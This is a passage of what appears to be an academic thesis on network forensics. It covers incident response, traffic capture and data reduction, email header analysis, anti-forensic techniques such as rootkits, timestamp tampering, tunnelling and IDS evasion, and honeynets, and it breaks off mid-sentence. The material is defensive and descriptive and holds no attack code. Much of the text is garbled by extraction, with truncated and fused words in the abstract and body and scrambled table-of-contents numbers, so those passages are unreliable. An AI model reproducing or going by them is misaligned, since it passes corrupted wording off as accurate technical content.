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ABSTRACT

The objective of this project is to examine all onfant aspects of network
forensics, and apply incident response methods iamestigation tech-
niques in practice. The subject is twofold and hedby introducing the
reader to the major network forensic topics. Theosd section discusses
issues raised when working on a virtual context presents a demonstra-
tion network. In particular, it is attempted to ate a simplified model that
simulates, to some extent, the operation of and&work. In this virtual
infrastructure, several attack scenarios of emailsa are performed
against two corporate hosts. Then, a network focensestigation is con-

ducted and results are reported.
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LIST OF ABBREVIATIONS

CLl Command Line Interface
DOS Denial of Service

GUI Graphical User Interface
IDS Intrusion Detection System

IMAP Interactive Mail Access Protocol

IPS Intrusion Prevention System
IRT Incident Response Team
ISP Internet Service Provider

MAC Media Access Control

MDA  Mail Delivery Agent

MTA Mail Transfer Agent

MUA  Mail User Agent

NAT Network Address Translation
NIC Network Interface Card
NTFS New Technology File System
NTP Network Time Protocol

O Operating System
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SSH Secure Shell

TOS Type of Service

UTC Coordinated Universal Time
VPN Virtual Private Network



TABLE OF CONTENTS

1. INTRODUCTION

1.1
1.2
1.3

Background
Purpose and Scope

Structure

2. THEORETICAL BACKGROUND

2.1

2.2

2.3

2.4
2.5

2.6

Digital Evidence and Incident Response
2.1.1 Incident Response

2.1.2 Investigation Process

2.1.3 Legal Issues

Network Traffic and Log Analysis

2.2.1 Network Security Tools

2.2.2 Working with Timestamps

2.2.3 Tap and Trace

2.2.4 Data Reduction Techniques
Email Tracing

2.3.1 Header Analysis

2.3.2 Hoax Detection and Sender Tragki
Anti-Forensic Techniques

Honeynets

2.5.1 The Architecture

2.5.2 Contributions to Forensics
Network Forensic Analysis

2.6.1 Live Analysis

2.6.2 Offline Analysis

2.6.3 Notes on Methodology

0 0 N N N o 0ok 0w w DN R

N e N O o e
N~ o o o0 o0 M N R O O



3. EXPERIMENTATION
3.1 Materials
3.1.1 Topology
3.1.2 Roles and Configuration
3.1.2.1SP— An Internet Provider Router
3.1.2.2Vhite— A Stepping Stone
3.1.2.Black— An Adversary
3.1.2.€£orp— A Corporate Router/Firewall
3.1.2.5Ist— An Administrative Station
3.1.2.8ridge— A Network Switch
3.1.2.'Host and Vict- Two Typical Victims
3.1.3 The Mailing Process
3.1.3.1 Virtual Mail Infrastture
3.1.3.2 Local Network Ma#rSer
3.1.3.3 ISP Mail Server
3.2 Preparing the Attack
3.2.1 Phishing
3.2.2 Information Gathering and Mulayering
3.3 Incident Scenario
3.3.1 Synopsis: Attack A
3.3.2 Synopsis: Attack B
3.3.3 Results
3.3.4 Delimitations
4. DISCUSSION
5. CONCLUSIONS
REFERENCES
APPENDICES

18
18
18
19
20
21
21
22
23
24
25
26
27
28
29
29
29
30
31
31
32
34
37
39
40
41
43



1. INTRODUCTION

The etymology of the wortbrensig takes us back to the marketplaces of ancient
Rome, where debates were conducted. The term ctrorasthe Latin adjective
forensis[1], which meangpertaining to a public meeting placer forum In our
days, it is closely related to the court proceedjnfpe detection and proof of
crime. In the context of this document the tdorensicwill refer to the process

of acquiring, recording, analysing, and assessatg {2] through a formal inves-
tigation.

1.1 Background

Computer forensics can be described as the metbggand set of techniques
used to provide evidence of illegal actions takptace in the digital world. This
is a new and emerging field in the IT area, whias lrecently gained great
attention. Two major subcategories of computerrieres can be distinguished:
system forensicandnetwork forensicsThe former refers to data recovery, disc
and OS analysis and its purpose is to discoverscleeased data, and illegal
content in PCs and other systems. The latter isitaingpecting network traffic
and events in order to find violations, reveal tiender’s identity, and present
all evidence in a consistent manner. This work xslesively concerned with
network-oriented forensics. In a complex mixture various systems, multi-
dimensional skills and a systematic approach ageired to accurately assess
the impact of an incident. especially in a netwakvironment which is
constantly changing. Moreover, in order to preseewédence, it is usually
necessary to do all the analysis online withoutngivag the topology of the
network or shutting down any of the connected systg3]. The opposite would
alter network events and destroy all crucial eviaden

The task of a network forensics team falls withive three main branches of
network security. The first one aims at assesdiegvulnerabilities of a network.

Additionally, the risks that the systems are explose are identified and

prioritised. The second branch is associated with tletection of security

breaches and other actions such as to analysettduk,agather evidence about
the abuser, and take all the necessary preventdasunes for the future. Finally,
the digital investigations group is responsible tloe management of the whole
procedure and is assigned the tasks of performivegforensic analysis and
resolving the incidents in a formal manner [4]. Dgra forensic investigation,

the three fields mentioned above overlap. Thus,m@rdisciplinary team of

forensic experts is formed in order to handle la#l tases of high significance.

The network forensics investigator has to takersesef steps in order to obtain

and interpret data from network traffic, to ideptduspicious patterns, and to
reveal the origin of incidents [3]. Files locatedaavictim host are not to be
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trusted as a reliable source of information. Silooal log files have most likely
been modified or deleted by the attacker, monigpand capturing mechanisms
are essential in order to resolve an incidentsIhot always the case that the
offender is external. There are many cases of almysénsiders, thus every
possible scenario must be examined thoroughly.

The duty of a network forensics expert starts a#tiar incident takes place.
However, the investigation is mostly based on systanstalled before the
occurrence of the incident such as passive analgsils, intrusion detection
systems (IDS), and firewalls. The objective of awwrk forensic investigation is
to discover pieces of evidence able to stand ug ¢ourt of law. Therefore, it is
often necessary to search for clues in user comeation and perform activity
reconstruction. The whole investigation procesdaislitated either by open-
source or commercial forensic tools [5], also knagnnetwork forensic analysis
tools (NFATS).

1.2 Purpose and Scope

The present study is a thorough research into m&twWorensics topics. It
examines ways to identify, collect and analyse oekwased evidence and
issues related to network devices and virtual emvirents. Among the major
goals of this project was to review substantiaktpaf the relevant literature and
produce a document focusing exclusively on networknsics and digital traces
inspection. During this work, there was the oppuwiti to face challenges and
gain experience in handling real life situationsheTexperimentation with
forensic tools, processes, and relevant softwam@udit about noteworthy
observations, which are presented in the courdbeofext. In order to apply all
the knowledge acquired in the first part of thesibga case study is presented.
An infrastructure consisting of virtual networksestablished and several attack
scenarios are performed. After conducting a netwlmlensic analysis, the
Author discusses some interesting results with igpéocus set on the virtual
environment implemented

Within the scope of this project fall the most imjamt aspects of network
forensics, methods of incident response, and inyasbn techniques applied in
practice. Major topics such as log and traffic gsi, traces inspection and anti-
forensics are covered and reference is made tthdheynet architecture. Other
iIssues mentioned are: working with open sourcestamich as Wireshark, basic
legal aspects, finding evidence capable of standimgn court, working with
timestamps, and tapping traffic. However, topicesely related to system
forensics will not be covered. Therefore, file-gyat and hard disk analysis,
recovery of files, data imaging, OS registry invgstion, malicious code
analysis, password cracking, and decrypting da¢ab&yond the scope of this
study.



1.3 Structure

Digital forensics involves the preservation, acgigs, analysis, discovery,
documentation and presentation of evidence [6]. &l these features are
mentioned throughout the text, since every oneheint puts emphasis on a
different part of the forensic science. After thigef introductory part, the rest of
the document is organised as follows. In the seadrapter, a review of various
network forensics topics is conducted. A wide speutof recent books, papers
and tutorials have been utilised to cover all aspeaf network-oriented
forensics. This brings the reader up to date vithdurrent advances in the field
and establishes a theoretical basis for the separtd

The third chapter introduces the concept of workim@ virtual context. After
presenting the infrastructure that was implemensedgeral phishing attacks are
performed in a virtual environment, which triggernatwork forensic inves-
tigation. Then, results are reported, discussedamnuahspection methodology is
proposed. The method used to collect data in thi$ 13 experimentation and
analysis of traffic, log files, traces and testasasA discussion with the Chalmers
incident response team was also very fruitful, mmg first hand feedback from
real-life cases and applied practices.

2. THEORETICAL BACKGROUND
2.1 Digital Evidence and Incident Response

When it comes to fundamental issues, it is impdrtanavoid reinventing the
wheel. Therefore, the Author will utilise termseddy proposed [7], which are
widely used and accepted.digital objectcan be defined as a distinct entity that
contains data. The features of an object (effeat) lne altered by a digital event.
It is important to note that an object (cause) @so result in an event.
Consequently, a cause or effect object constitthesvidenceof an event. A
policy or law violation is calledncident During an investigation, objects are
gathered as proof of events and the hypothesisnaheadent is confirmed or
disproved.

However, it is not enough to resolve a case by prssenting the obtained
evidence. The forensic experts must provide twemssl qualities for their data

[8]. First and foremost, they must state the soofdde evidence, in other words
they should show that all evidence is authenticdifdnally, they should

describe their investigation methods and guarathtaethe data they extracted is
comprehensive and free of defects. The reliabdityhe whole procedure can be
ensured by using generally accepted methods amdlastds. Hence, the use of
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published or tested procedures, which have knowor eéates, can increase the
reliability of the acquired evidence.

2.1.1 Incident Response

Being well prepared for the unexpected is alwas leostly than reacting to
unpleasant situations. However, no matter how oastiwe are, incidents do
occur. A forensic investigation attempts to giveswars to questions such as
what, when, and where an abnormal event took pkawg which areas are
affected. Before the investigation though, a precealledincident responsés
triggered immediately after the occurrence of azidant. Incident response can
be defined as the series of actions taken in or@eeact to a system security
related event [9]. It is essential that a standadiimethodology is applied by a
team of specialists before proceeding to the faceasalysis. To that end, digital
evidence must be secured and maintained whilstyewaetion or clue is
documented. In order to avoid having the wholenaptiehampered by someone
unaware of the procedures, it must be ensuredetrexty action is in acceptance
with a predetermined practice.

In every large corporation we usually find an Ingr response team (IRT),
which is independent from all departments. Thisaigroup of high skilled
specialists with diverse backgrounds, who normabyry out different duties
inside an organisation, but come together to formemergency team after the
occurrence of an incident. The IRT is viewed as italvelement of an
organisation but sometimes its formation is sokelequisite for standardisation.
Either way, an IRT with specific policies and rolessigned, can provide a fast
and accurate response to an unexpected eventhéluidelines that define the
operation and organisation of an IRT are descrine@vhat is called theharter
[9]. This is a written statement, supported bythk departments involved as
well as the central management, clarifying the @pgles, tasks, and purposes of
the response team and the conditions under whishpitit into action. Often, it is
necessary to exceed the borders of the organisdimothat case, an incident
response network is formed, involving the local iRTcooperation with the IRTs
of other organisations, the network providers, were the law enforcement
agencies.

To illustrate the operation of an IRT, an actuatident that took place in the
Chalmers University in October 2008 is describedddl®ws. The responsible
local IRT (ttp://www.irt.chalmers.9e was alerted that a phishing email
requesting user account passwords was spreadioggihrthe users. The first
accounts started to get compromised almost immelgiand transformed into
spam-sending nodes. To defuse the situation, tfiebBgjan to warn the users by
emails and notification banners. Additionally, #lé replies to the malicious mail
addresses were blocked at the local mail serveth Wie help of the SUNET-
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CERT network provider, the emails were blocked atsthe ISP level. Network
and traffic logs were utilised to identify and bkocontact with the malicious
internet address subnet, however a lot of damagealv@ady been done. The
Chalmers IRT was put immediately into action toegi@ first response to the
phishing mail abuse. The procedure which was fadldwwas consistent and
systematic —in other words it will probably be atkwp again in a similar
scenario. Finally, an assessment on the scopeeofldmage and the pattern of
the abuse was made. Any further analysis of thesaband tracking of the
offender would require the initialisation of a famminvestigation, which is
usually done in serious cases involving crime aué.

2.1.2 Investigation Process

Depending on the characteristics of a case, theogppte type of investigation
Is conducted. A criminal investigation can be eii¢d by law violation or even
by the allegation of an illicit event. A less ccdi situation is the corporate
investigation, which results from a policy violatioinside a company or
organisation and does not involve law enforcemelinally, a private

investigation usually comes as part of a civil sj@}. Hereinafter, the term
investigationwill denote a criminal investigation.

Preservation

\ Data Collection \
| Analysis & Isolation |

Fig. 1. Forensic investigation stages and their scope.

During the investigation process, different stagaa be identified (Figure 1).
After discovering the crime and preparing the emept, the evidence collection
begins. In order to preserve the clues and empheyntin forthcoming legal
proceedings, valuable data should be replicateé metwork investigation this
involves duplicating log files, capturing data frafand maintaining the network
operation. Authentication must also be providedprtave the originality of what
has been retrieved. After that, the principal pdrthe process is the analysis of
the obtained evidence. This must happen without arodification of the
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original data. The key issue here is that investigashould be able to utilise
that evidence in a court of law [8]. Thus, it isicial to document every step of
the investigation. Not only does this make the whptocedure formal, but it
also helps finding administrative errors and impngvthe handling of similar

situations in the future. Finally, a written repahd a presentation of the
conclusive investigation findings take place.

In every case, the first significant aspect thadseto be clarified is what exactly
has happened. After that, the time frame of thedemt and the sequence of the
events must be defined. The investigator should tieeeal what was the cause
of the events and try to uncover and track thenaféz. Finally, the investigation

concludes by evaluating the current situation, skepe of the damage, the
causes of the incident and the necessary measthieshunt for evidence must

follow a systematic approach. After setting theilemof the search area, data is
extracted and organised. Then, all collected infdram is combined and

compared to outline the facts. Meanwhile, new maltenay be found and the

search process might have to be reinitiated by tupglahe current knowledge

and defining the new search area [7].

2.1.3 Legal Issues

No matter how modern and evolving is the law systdma state, it is impossible
to follow the enormous advancements of technolddperefore, no special laws
apply to every sort of digital crime that ends wmpcourt. The solution comes
with thecase law This enables the use of collected thoughts frast pases as a
precedent which can contribute to future courtrrgdi [4].

According to a recent Computer Security Institutevey (http://gocsi.com/),
over the years insider abuse is steadily within tinset two most frequent
incidents. This includes, among others, identitgfthsurfing policy violations,
and fund embezzlement. There are privacy concetmsnwperforming inside
investigations, since the privacy rights of empleyeould be violated. However,
no specific legal framework prevails to prevent pamies from monitoring the
digital behaviour of their personnel. According tloe National Work-rights
Institute in Princeton (http://www.workrights.org), a compais not prevented
from having its employees under surveillance, kegphe whole program secret.
Privacy issues also arise when sensitive informrmasioch as email messages or
user activity is archived for later inspection.



2.2 Network Traffic and Log Analysis
2.2.1 Network Security Tools

Several types of network security tools can beirdistished. First of all, they
can be active or passive. Active tools sucm@ssusandnmapare used as a fast
way to collect information concerning the membefrs metwork. This approach
can be very effective; however it requires that gystem is set temporarily
down. This is due to the unpredictable effectsdhve tests might produce to
the operation of the network.

The passive analysis or packet sniffing can rewbal ports, protocols and
number of hosts involved in the communication withimjecting any data in the
network. This method is especially useful in theefesic investigation, since it
does not alter the information being exchanged .[2%®)me notable packet
analysers arewireshark/tshark snifer (.cap files), omnipeek(.pkt files) and
tcpdump(.dmpfiles). The most basic feature of an analyseoni®é capable of
passively acquiring information about the varioaslets going on and off the
wire. To this end, the NIC of the analyser has ¢oskt in promiscuous mode.
This means that all packets are captured, everethosdestined to the specific
hardware address. Then, the inbound data can tesl $iirough by rules which
can filter out the results according to addressgw@tocol types. [11].

A second way to distinguish network security toads by the amount of

information they store. On the one extreme we hidnee exhaustive capture,
where every packet is saved for further analysisthis case large amounts of
storage are necessary. On the other extreme wedrava-the-fly examination,

where every packet demands large volumes of memarsyder to be analysed in
real-time. Only limited data needs to be storedwéner this approach has
increased requirements in processing power in dimdérandle all the incoming

traffic [3].

2.2.2 Working with Timestamps

Comparing and contrasting the timestamps of eveatsed by offenders can
reveal important clues and specify the charactesisif the attack method used.
For instance, if the time difference between eventsxtremely short, then it is
certain that scripts and automated tools have lsed [5]. The timestamps can
also determine the reliability of the data. As dissed later in this document,
acquiring timestamp information from different soes can bring to light

attempts to modify evidence.

When collecting clues it is important to take evestgp with caution. For
instance, by just opening a file, the access tiamaptis modified resulting in a

-7-



different hash value. Generally though, file tina@sps should not be trusted.
Modification, Access and creation dates can belyeasodified with the help of
special tools [6]. Therefore, the information obtd from file timestamps can
contribute to the investigation to some extent, ks not constitute a reliable
source of evidence.

2.2.3 Tap and Trace

The best vantage point for analysing network tcaffsually depends on the
specific network topology employed. Generally, dtpreferred to position the
analysers and sensors either centrally or at thempeer of the network.
Sometimes, in complex networks not all the divisi@an be covered by a single
tap. In that case, multiple collection points asedito gather information and
transmit it to a central point to be correlatednwetich other.

In shared network environments, where hubs are used, evagkgi is
transmitted everywhere. Therefore, just placing dhalyser in one of the hubs
will allow global monitoring of the traffic. Nowaga thoughthe unintelligent
hubs tend to be completely substituted by packatchimg devices. This is
mainly a result of the increased bandwidth needs,constantly falling cost of
switches and routers, and the alterations in thmngonication patterns [12]. In
segmentedgwitch environments, solely the ports betweengasicipants of the
communication are enabled. Thus, a different dolisdomain is created for
each switch port, restricting the visibility of analyser. One way to sort this out
Is to enable port mirroring. This requires configgrthe network-switch to copy
the traffic of one or multiple ports in the branatmere the analyser is placed.
Another method is to attach the analyser to a hboizchvprecedes the device that
IS to be troubleshooted.

The network tapis an inline device that exposes the traffic gbant-to-point
link to a monitoring system. In this approach, razkets are dropped due to data
congestion in the packet switching device. Moreptras solution is more secure
and its configuration is easier [13]. When usingksd analysers in a complex
network topology containing routers, the analysell have to move around
switches in different broadcast domains in ordefoion a complete picture of
the network operation [11]. An alternative to mahuperforming measurements
is to use distributed taps. This is a method camgof network taps spread all
over the network topology, which send reports taemtralised monitoring
system.

2.2.4 Data Reduction Techniques

In our days, immense amounts of information arelpced due to the extensive
and immediate interconnection of users and theeasing number of services
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available over the internet. Data measurement 8y lmnvironments is certainly
a big challenge. Inspecting all the exchanged packe the fly is the most

straightforward approach in order to monitor thafftc traversing the network

links. This method is very thorough, as it preservetwork data in every
possible detail. Despite this advantage, it wowddquire ultra-high processing
speeds and massive storage resources to capturgheng in all that depth.

Therefore, the applied methods should inspect s packets as possible while
limiting the processing and archiving needs of gvprece of data. In this

fashion, the loss of vital information can be awadas well as the risk of
insufficient accuracy. There are numerous techrigoeachieve data reduction,
which can be summarised in three main categoridt&rihg, sampling and

archiving.

To begin with, filtering is applied during the socamg and storing processes,
where irrelevant packets are weeded out accordingsdme predetermined
characteristics. This can be based either on tbgol that is used or the packet
payload. Filtering is applied online, while packet®e transmitted through the
wire. This fact increases the performance and @%ing rate requirements
dramatically. Additionally, the data load can exteghat is feasible to store,
especially when the network scales and the spedldeomedium increases. The
filter rules usually focus on the protocol, the tpoor the content. Some
challenges that could arise here are, for exanipéedynamic allocation of ports
and the payload encryption. Overall, filtering idfeetive under certain

conditions, where the traffic load is reasonabler kstance, filtering is the

method preferred when sniffing packets inside all@acea network.

According to the sampling approach, instead of ararg the traffic
exhaustively, a sample is taken, periodically, rafte predefined number of
packets. Sampling can be applied to both packets gata flows by using
statistical methods. Among its advantages is thatgrocessing needs remain
low, without sacrificing detailed information onetliraffic that is captured. The
sampling procedure can be completely random or fobbgw a specific pattern.
In some sophisticated cases, it is even possibléhi® mechanism to adapt to
every specific case accordingly. A typical exampleseeing sampling in action,
is when used to provide an outline of the varioyses of traffic served by a
provider in the ISP level. To this end, the providmuld use sampling to
determine in which extend are torrents used iméisvork. One major weakness
though, is that a fragmented view of the traffics@netimes useless, especially
in investigations where only intact data blocks tenan asset. In these cases,
sampling fails to provide complete or even usefifibimation. Finally, it has to
be highlighted that the effectiveness of the samgpklgorithm directly affects
the performance of scanning.



Archiving can be done in packet as well as in d#bav level [14]. Packet
truncation is a popular method used to reduce theuat of the per-packet
information that is eventually stored on disk. ThiEcourse, does not reduce the
processing workload that needs to be handled byeéiwork analyser. The basic
idea is that the packet headers are appended totrane header and then
summary information is put in an archive. As oncket headers are actually
kept, the memory needed is significantly lower. Heer, this summing process
could affect the scanning process which is timéoai. In other words, small
data chunks could be missed if the valuable pracggsower is consumed to
archive, rather than to analyse. In a variationecaflow aggregation, a set of
packets belonging to a specific connection, areeston one single record and
not individually. This method is suitable for povtdrboxes that are responsible
for extensive archiving of huge data loads, suchhashigh bandwidth links of
the network backbone. The main advantage here a$ the overhead of
processing single packets is prevented.

2.3 Email Tracing

When performing network investigations, a surpg&yn high number of
incidents are attributed to fraudulent mail. Esplgidue to the fact that the
emails are probably heading towards unprotectedwaorkt zones and
unspecialised users, it is often difficult for detten systems and automated tools
to identify potential threats. As always, preventis the best practice, hence
organisations such as tiMessages Anti-abuse Workgro@ldAAWG) and the
Anti-phishing Workgrougf APWG) provide extensive lists of safety guidesne
for all parties involved [15]. Apart from messagigefring and blacklisting at the
ISP or mail server level, prevention is also headépendent on client based
filtering and the security awareness of the end:uses crucial that the recipient
quickly recognises and reports suspicious cont@hmishing attempts, and
dangerous links or attachments. However, when probl do occur, the
investigator must be ready to analyse email headats collect information
concerning the origin of the message.

2.3.1 Header Analysis

The mail header contains data that accompany tresage throughout its route
to the destination. The most common records ofrtfaél header include: the
message id, the sender, the recipient, the cotyeet-the mail servers involved
and the submission and reception timestamps. Asnthssage travels to the
target, in every hop, the intermediate mail seradds its own entry called
Receivedwhich keeps track the current sendiffigprfl) and receiving ify) mail
server, the timestamps and the protocol useith). When doing a bottom-up
parse of theReceivedields, a complete picture of the message trangéth is
drawn.
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Email is a means of exchanging messages, develbaekl when security was
not much of a concern. As there is no default meigma for data integrity and
authentication, the header records should not Insidered to be reliable since
most of them can be easily manipulated. For ingamnc order to complete the
Received fronfield, the sending server has to introduce itselftlie receiver

[16]. As there is no strict authentication mechamnighis information can be
easily modified making the header completely uatdk.

2.3.2 Hoax Detection and Sender Tracking

Even though the main part of tieceived fronfield can be spoofed, we can
turn to additional data which arises from the reeeDNS resolution of the mail
server address. In other words, if the mail seofeour network is trustworthy,
then an inconsistency in thieom field would reveal a possible threat. One
straightforward case that would cast serious doufbtthe reliability of the
message is a mismatch between the submission samnethe domain of the
claimed sender address. For instance, the senddd guetend to have the
addressofficer@polisen.savhile the first mail server that received the nagges
belongs taymail.com.

In the message header we find two types of idemsfi TheMessage-IDis
assigned by the mail server of the sender, is deduby default and remains
unchanged throughout the message journey. The desoa server specific id
which is randomly generated by the current mailveelin every hop of the
message. Both identifiers can be used for referencthe mail server logs.
Together with timestamps, they are two crucial eleta to validate the sincerity
of the mail headers and proceed to the furtherstigation of the email misuse
incident. Even though it is not difficult to fakenail headers, it is unfeasible to
alter some basic information that routes the mesgagkets through different
domains and network devices to the final destimatitherefore, the logs kept by
network equipment (e.g. routers, switches) detactigstems and firewalls can
be a valuable asset to investigators, since they bm used to verify the IP
addresses and timestamps included in the emailehgead

As accurately presented in [17], there are sev&alors that influence the
traceability of an email abuser. First of all, thember of servers participating in
the mail exchange affects the time and effort negflito investigate the mail
route hop-by-hop. The more the hops, the moreaddliffiis to contact the parties
involved, especially when they expand into sevemintries. The time factor is
also important. Any queries to the responsible mlers should be done
immediately when the event is discovered, sincecolichmunications are put in
archives making it hard to refer back to them. Timecritical in the internal

infrastructure of the networks as well. Examinatwhincidents needs a solid
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point of reference concerning the timeline of egemtence the availability of a
time synchronisation mechanism such as the Netwanke Protocol would
boost the effectiveness of the analysis. One raibeious remark is that senders
using dynamic IP addresses are a lot harder toobatdd, as this requires
examination of the provider’s access servers whkiche the customers’ address
allocation data. Finally, issues related to datdintg, email relaying can also
affect the investigation and are further descrilmesubsequent sections.

2.4 Anti-Forensic Techniques

Apart from the direct threats against a networkacders will most likely intend
to reduce the effectiveness of the forensic methaas to hide their traces.
Through the use of special techniques, they makmetback a much harder task
for the analyser. In highly sophisticated attacksl@ from erasing their trail, the
adversaries attempt to disorientate the investgatand put the blame on
someone else by tampering with files that couldubed as supposedly reliable
evidence.

Obviously, one of the first considerations of anruder is to erase all the
relevant system log files before leaving the crsuene. This is a straightforward
way to hide critical evidence about their presertloe,illicit activities performed
and all information linking back to them. In orderdelete system files aridll
logging processes, the highest possible OS peromssare usually required.
Thus, the ultimate goal of an intruder is to obtairoot shell. After managing to
get access to a system, a software package calbekit is deployed. One of the
main two purposes of this malicious kit is to cariage files, events (e.g., log-
in), tasks, network connections and sabotage astggymonitoring processes in
order to avoid the disclosure of the security bredommon system commands
such ads, login, ps, pwd, ifconfig, andnetstatare just some of those affected
[18]. The second goal is to prepare the groundaftuture return of the attacker
by setting up @ackdoor Even without administrator privileges, intrudeesd

to make various modifications. For instance, a $&mpase is thetouch
command, with which it is possible to alter tlast modificationor the last
accesgime of files. In NTFS filesystems, another exaenpf an application that
can easily manipulate timestampgimestompwhich can be used to change all
the file attributes related to time such as cregtend access time [19]. Finally,
after making modifications, a cautious attacket al$o adjust the file signatures
to pass any integrity tests. To sum up everythireptioned until here, nothing
can be trusted on an insecure system, so it issallg@ to use a reliable way to
perform the analysis such as a Linux distributidreotable from removable
media (CD, flash drives etc.). Everything mentiomédve shows a considerable
overlap between the system and network forensiegsiigation processes,
however tampering with files and processes is amsiypmore closely related to
the system.
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Another aspect of anti-forensic practices is traffontent obfuscation. This is
achieved by forwarding communication using techgme such as virtual
private networks (VPN) and secure shell (SSH) tlimgg which encrypt the
communication content, making it non analysablettoyd parties. Except for
these widespread methods, some sophisticated adesstry to achieve
tunnelling through non-standard protocols suchlag®8 [20] in order to confuse
the analysts. In even more advanced cases, an sadyecould be hiding
information inside data packets, creating a coebdnnel [8]. This method, is
referred to asietwork steganographf21] and utilises rogue traffic in order to
transmit secret data. One way to achieve this iwiding information in empty
header fields of: Link Layeframes Network Layerpacketédatagrams or
Transport Layesegmentsin an extension of these capabilities, speciahmrey
might be given to the time intervals of subsequesttansmission packets.
Packets are sent to a recipient who intentionalbilsf to send back
acknowledgements, yet recording all the hiddenrmftion. This method and its
variations, attach special semantics to the sequamd frequency of packets
which can then be interpreted, at the receiver,sadea sequence of bits. Such
techniques are difficult even to suspect, leavitagisic analysis as the only
possible detection mechanism.

These hiding methods are not only used againsh$iceanalysis, but also as an
advanced way to disrupt the IDS and firewall seesjcavoiding quick detection.
This is commonly known a$DS evasion[22] and also involves techniques
using: special payload encodings, encrypting pr¢e.g., HTTPS), constantly
changing attack patterns to avoid creating recadmés attack signatures,
fragmentation attacks (e.dliny Fragment, Overlapping Fragment, Incomplete
Datagram etc. [23]) and DoS attacks to exhaust the rescuime triggering
numerous false alarms.

One other anti-forensic technique is using multiptgs to obstruct the trace-
back process. Several intermediary nodes are ugeitheb attacker to forward
traffic, associating the origin of the data witmamber of different IP addresses.
The larger the number of hops, the harder is tatemthe aggressor. Particularly
in solutions such asor, a complex anonymity network is created, makingkea
forwarding a completely concealed process. Howevdras to be noted that in
spite of providing an efficient anonymity servicBr suffers fromend-to-end
correlation [24]. Therefore, it would be possible for an intigator, able to
access both the victim and the supposed attaclstersy to confirm —by using
statistic tests- if the suspect is guilty or innoice

Finally, miscellaneous practices include simple gpoofing. If the attacker

accomplices to bypass the firewall, he/she may kespg unnoticed by simply
performing an IP spoofing, making it look like & coming from a honest source,
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such as a local printer [25], hoping that no ond auspect that it could be
malicious. Of course, the area of anti-forensiadudes wiping drives to avoid
data restoration, interference with .dll files, tgys events, and OS tasks as well.
However, all these do not fall inside the scopeahi$ study, which focuses on
network inspection.

2.5 Honeynets

In addition to fortifying a network infrastructupassively by installing IDSs and
firewalls, honeynets offer a controlled environmevtiere threats and current
attack trends can be examined. The honeynets aigrel to be compromised
and constitute an architecture that enables thdéysineo acquire information

about malicious practices. The main idea is tosiamm a host or network into
an appealing target that behaves as a regularmyidtiowever, it logs and

analyses everything covertly. Since these are meytems, which do not
generate any traffic, all the data they attractingentional and therefore
suspicious. After the completion of an intrusiol tiae logs are collected and the
system goes offline for forensic analysis.

2.5.1 TheArchitecture

The honeynet can be viewed as a network of honsygdie heart of a honeynet
is its gateway. In this role a network bridge cangbaced, which regulates the
inbound and outbound traffic and provides the systeith a firewall, while
keeping the attackers and third party victims ap26]. Two important features
that every gateway should have is outbound datditignand attack prevention.
The first can be accomplished with the installatafna firewall that can set a
limit on the attacks the intruder will initiate frothe compromised system. As
for the attack prevention part, an intrusion preéw@nsystem (IPS) can fulfil the
requirement to detect and filter out any outgoiragtern that matches an attack
signature in its knowledgebase.

The honeynet architecture relies on three main cplas [27]. First and

foremost, the intruder activity should not causg damage to third parties, thus
the outgoing traffic of the honeynet must be cadigrb properly. For instance,
services such as SMTP should be blocked to avombninollable spamming

originating from the compromised host. One othepontant aspect is that the
interaction with the intruder should be handledhwdare in order to avoid

revealing the logging and supervision mechanisrherdfore, the entire activity
recording should be transferred to a secured demigent. Finally, all the

recorded data is analysed and interpreted intoaldd¢uinformation for research
or defensive purposes.
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2.5.2 Contributionsto Forensics

As noted above, the honeynets usually behave irassiype and static way.
However, we also acquaint ourselves with technigbas follow a rather active
approach. For instance, the so-calbait and switchmethod [28], reveals a more
aggressive use of honeypots. It is a simple, yey wiever concept, where a
Linux box running an IPS and the appropriate sofew# able to recognise and
reroute suspicious traffic from an actual host eaoy system. This redirection
is completely transparent and deceives the intradey is lulled into thinking
that he/she has gained access to valuable datay ibishe only achieved to
reach a clone host (i.e., same IP and servicesyippgd with logging
mechanisms. When applied to a production netwarsteiad of scaring intruders
away by triggering IDS alarms and blocking portd anaffic, this method
encourages the adversary to stay longer and leaged that could be used later
on as evidence. One limitation of this techniqes lon the fact that the intrusion
should be based on a previously known attack, whitlhactivate the IPS.

The tools that accompany the honeynets are uswally consistent and well
supported by online communities. Taking advantagtheir advanced features,
many of them could be used for means other thaantmnally attracting

attackers. For instance, honeynets accept by defdulincoming malicious

traffic. On the contrary, powerful mechanisms fatalcontrol are normally used
in order to disallow compromised honeypots to hasther hosts. If these
principles were used in a production network thisuld, of course, be a
paradox. However, as mentioned in [29], thank$&rtlogging mechanisms and
communication infrastructure, honeynet tools -dlghmodified- could be a

valuable asset for network security and forenditexnce, the covert monitoring
and logging mechanisms could be used for infornmatgathering, whilst

multiple data control layers could enhance the pet® shield. Finally, as

mentioned earlier, the honeynet gateway is actualylevel-two bridge,

concealed from all hosts. Therefore, while keeghgrogue hosts online, it can
be used to intervene in communications betweenhtb&ts and the attacker,
enabling the inspector to perform live network fusies.

2.6 Network Forensic Analysis

In order to resolve an incident, the forensic asiglymust be concerned with
defining the time frame of events, finding the smuof anomalies, pinpointing
suspects and revealing their relation with theuision[8]. When it comes to the
analysis of an incident, there is an extensive b$tfactors that require
examination. With respect to the volatility of tliata, we can distinguish
between two categories of investigatiolnge forensicsaandoffline analysis
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2.6.1 Live Analysis

Live forensics is recommended in several circuntgan First of all, there are
cases where crucial data would be destroyed orealt& the system being
investigated is taken offline. This is due to tleetfthat the malevolent data
might be situated in the system’s memory. Evehefattacker uses encryption, it
is highly possible that interesting clues couldidaend in the memory.

Furthermore, in dubious situations, where is neaclwhether the system has
undergone an attack or not, live forensics candam |s a first step to determine
if further offline analysis is necessary. If, evagity, the system’s condition turns
out to be problematic, live actions can evaluae $hverity of the incident. A
quick and roughrisk assessment could end up in the conclusion tthatextra
cost in money as well as in functionality of thewerk is not proportional to the
gravity of the incident, so it is not worth proceeglwith the offline analysis. In
a large network, if the impact of the incident iscartain, live forensics help
towards defining where the attention should be dréow

Among the volatile information that must be exandinethe following. First and
foremost there must be a chronological summaryhef évents. This involves
checking timestamps from different perspectives, ifstance file timestamps
versus logged events. Any attempts to obfuscatalt@r the timeline of the
events must be brought to light in order to protédee reliability of the
investigation. Moreover, any network connectionatthemain established as
well as the state of TCP and UDP ports should vefally noted down. Other
important information is obtained from currently epent users, running
processes and memory dumps.

However, opponents of this method argue that iha$¢ possible to acquire
reliable forensic evidence from a constantly chaggenvironment. In addition,
live inspection practices might alter evidence aput the whole formal

